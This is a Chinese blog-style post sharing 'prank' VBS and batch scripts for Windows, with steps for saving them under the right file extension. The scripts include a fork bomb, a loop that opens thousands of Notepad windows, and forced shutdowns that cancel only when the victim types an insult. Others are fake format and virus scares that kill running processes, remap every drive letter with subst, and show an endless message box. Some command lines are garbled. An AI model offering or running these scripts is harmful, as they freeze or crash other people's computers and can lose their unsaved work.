恶搞的⼩程序
⽬录
作者⼜⼜发⽂章啦！
这⼀些⽂章的主题呢是⼀些恶搞的⼩程序。
上代码~~
vbs小程序代码大全让电脑死机
1.        后缀名.vbs  代码：（后缀名的不会改的，请到⽬录点击“如何改后缀名”）
1:start
2start
3goto start
2.        后缀名.bat  代码：
%0|%0
3.        后缀名.bat  代码：
start cmd ipconfig
4.        后缀名.vbs  代码：
1dim a,s
2set wshshell=createobject("wscript.shell")
3a=0
4do
5wshshell.run"notepad"
6a=a+1
7if a>9999 then
8exit do
9end if
10loop
它会打开⽆数个记事本，最好的解决办法是点开之后马上进⼊任务管理器结束任务......不然的话还没进⼊任务管理器，就已经卡死了......恶搞代码
1.        后缀名.vbs  代码：
1On Error Resume Next
2Dim WSHshellA
3Set WSHshellA = wscript.CreateObject("wscript.shell")
4WSHshellA.run " /c shutdown -s -t 90 -c ""快喊我是猪，不喊就马上让你关机，不信，试试···"" ", 0, True
5Dim a
6Do While (a <> "我是猪")
7a= InputBox("快说我是猪，不叫就不关机，快点，说 ", "说不说", "不说", 8000, 7000)
8MsgBox Chr(13) + Chr(13) + Chr(13) + a, 0, "MsgBox"
9Loop
10MsgBox Chr(13) + Chr(13) + Chr(13) + "早说就⾏了嘛!好，不关了"
11WSHshella.run " /c shutdown -a"
2.        后缀名.vbs  代码：
1gsh=msgbox ("已经准备好格式化，准备开始。",vbyesno)
2set s=createobject("wscript.shell")
3wscript.sleep 1000
4msgbox "开始格式化…… 哈哈！吓晕了吧，骗你的~"
5wscript.sleep 1000
6wscript.sleep 1000*100
7msgbox "windows发现⼀重要更新，将⾃动下载。"
8wscript.sleep 3000
9msgbox "系统检测到WINDOWS更新中捆绑有不明插件，是否对其扫描？",vbyesno
10wscript.sleep 1000
11msgbox "⽂件名 "+CHR(13)+"发⾏者⽥间的菜鸟 "+chr(13)+"安全评级⾼危"+chr(13)+"建议直接删除"+chr(13)+"病毒类型：⽊马",,"windows扫描附件" 12msgbox "是否阻⽌其安装？",vbyesno
13wscript.sleep 3000
14msgbox "阻⽌失败！请检查防⽕墙是否开启！"
15wscript.sleep 5000
16msgbox "正在尝试强⾏删除…"
17wscript.sleep 5000
18msgbox "失败！"
19wscript.sleep 5000
20msgbox "您的电脑已陷⼊危险之中，请赶快扫描病毒！"
21wscript.sleep 10000
22s.sendkeys "% n"
23s.run "taskkill /"
24s.sendkeys "% n"
25s.run "taskkill / /f"
26s.sendkeys "% n"
27s.sendkeys "% n"
28s.sendkeys "% n"
29s.sendkeys "% n"
30s.sendkeys "% n"
31s.sendkeys "% n"
32s.sendkeys "% n"
33msgbox "你好啊！"
34wscript.sleep 3000
35msgbox "很⾼兴见到你！"
36wscript.sleep 3000
37msgbox "您的电脑可能已经感染病毒！",,"WINDOWS防⽕墙警告"
38wscript.sleep 3000
39msgbox "我控制你的电脑了！"
40wscript.sleep 3000
41msgbox "不信？那我给你关机看看~"
42s.run "shutdown -r -t 120"
43msgbox "信了吧！"
44msgbox "帮你解除关机……"
45s.run "shutdown -a"
46msgbox "再给你打开记事本写封信，劝你最好别动，要不然会引起系统混乱~"
47s.run "notepad"
48wscript.sleep 3000
49s.sendkeys "Hello, I'm sorry， I control your computer,"
49s.sendkeys "Hello, I'm sorry， I control your computer,"
50wscript.sleep 3000
51s.sendkeys " but the virus is false in, "
52wscript.sleep 3000
53s.sendkeys "only a joke, "
54wscript.sleep 3000
55s.sendkeys "please rest assured! "
56wscript.sleep 3000
57s.sendkeys "I no longer next "
58wscript.sleep 3000
59s.sendkeys "time so the whole you!"
60wscript.sleep 3000
61s.sendkeys" Goodbye!"
62s.sendkeys"{enter}"
63s.sendkeys"END"
64wscript.sleep 1000
65s.sendkeys"%{F4}"
66msgbox "提⽰：刚才的“病毒”是假的，只不过是吓你玩玩~"
67s.run "explorer"
上⾯那个病毒不会对你的电脑有伤害，但下⾯那个不⼀样，有点吓⼈，具体的话你们⾃⼰去测测看。我⾃⼰已经运⾏过了，不会对电脑有伤害。
3.        后缀名.bat  代码：
1@ color 1f
2@echo off
3title 最好别关本程序否则后果⾃负......!
4echo 你中招了!
5echo 处理器异常!
6ping 127.0.0.1 /n 4 >nul
7echo.
8echo 正在移除C盘……
9echo.
10ping 127.0.0.1 /n 4 >nul
11echo 正在移除D盘……
12echo.
13echo 正在移除E盘……
14ping 127.0.0.1 /n 4 >nul
15echo F盘先给你留着吧!
16echo.
17echo 我会那么善良吗?
18ping 127.0.0.1 /n 4 >nul
19echo 不会的……
20echo.
21echo 呵呵开玩笑的!
22ping 127.0.0.1 /n 4 >nul
23echo 正在恢复C盘……
24echo.
25echo 正在恢复D盘……
26ping 127.0.0.1 /n 4 >nul
27echo 正在恢复E盘……
28echo.
29echo 正在恢复F盘……
30ping 127.0.0.1 /n 4 >nul
31echo 请⼀直按住 Enter 键
32taskkill /f /
33ping 127.0.0.1 /n 4 >nul
34echo 看你的磁盘好少，怪可怜的……
35echo.
36ping 127.0.0.1 /n 4 >nul
37echo 给你加⼏个吧!
38echo.
39ping 127.0.0.1 /n 4 >nul
40@echo off
41for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: C:\)
43ping 127.0.0.1 /n 4 >nul
44echo 呵呵……
45echo.
46ping 127.0.0.1 /n 4 >nul
47echo 给你1分钟时间，看看你的电脑!
48echo .
49ping 127.0.0.1 /n 60 >nul
50echo 看过了吗，好玩的在后⾯!
51echo.
52ping 127.0.0.1 /n 120 >nul
53echo 哈哈!
54echo.
55@echo off
56shutdown /s /t 120 /c "电脑马上就要关机!"
57ping 127.0.0.1 /n 15 >nul
58shutdown -a
59echo 你上当了，吓唬吓唬你!
60ping 127.0.0.1 /n 4 >nul
61echo 正在⼀键重装中，请稍后……
62echo.
63echo 0.01
64ping 127.0.0.1 /n 4 >nul
65echo 0.13
66ping 127.0.0.1 /n 4 >nul
67echo 0.25
68ping 127.0.0.1 /n 4 >nul
69echo 0.49
70ping 127.0.0.1 /n 4 >nul
71echo 0.69
72ping 127.0.0.1 /n 4 >nul
73echo 0.89
74ping 127.0.0.1 /n 4 >nul
75echo 0.99
76ping 127.0.0.1 /n 4 >nul
77echo loading
78ping 127.0.0.1 /n 4 >nul
79echo 重装已完成!
80ping 127.0.0.1 /n 4 >nul
81echo 也是吓唬你的！
82ping 127.0.0.1 /n 10 >nul
83echo 真正的游戏开始了……
84taskkill /f /
85shutdown /s /t 30 /c "系统关键⽂件被删除导致崩溃!系统将在30秒后关机"
86ping 127.0.0.1 /n 28 >nul
87shutdown -a
88echo 你上当了，吓唬吓唬你，现在恢复所有程序
89for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: /d)
91ping 127.0.0.1 /n 4 >nul
92echo 恢复已完成
93ping 127.0.0.1 /n 4 >nul
94echo 我会那么善良吗?
95ping 127.0.0.1 /n 4 >nul
96echo 不会
97ping 127.0.0.1 /n 4 >nul
98echo 逗你玩的!
99ping 127.0.0.1 /n 4 >nul
100echo 会发⽣什么呢?
101ping 127.0.0.1 /n 4 >nul
102echo 什么都没发⽣
这段代码就如同它运⾏起来说的⼀样，如果你们运⾏了，最好不要关闭这个程序。也是有点烦⼈的，运⾏起来你们可以看看效果，但千万不要关掉它。
5.        后缀名.vbs  代码：
1do
2msgbox("输⼊⽂字")
3Loop
“输⼊⽂字”那4个字可以随意改，这样就出现了⼀个关不掉的弹窗，解决办法是打开任务管理器结束任务。
<没有第6个了！作者肝废了！
如何改后缀名
1.新建⼀个⽂本⽂档
2.点击重命名

版权声明：本站内容均来自互联网，仅供演示用，请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198，我们将在24小时内删除。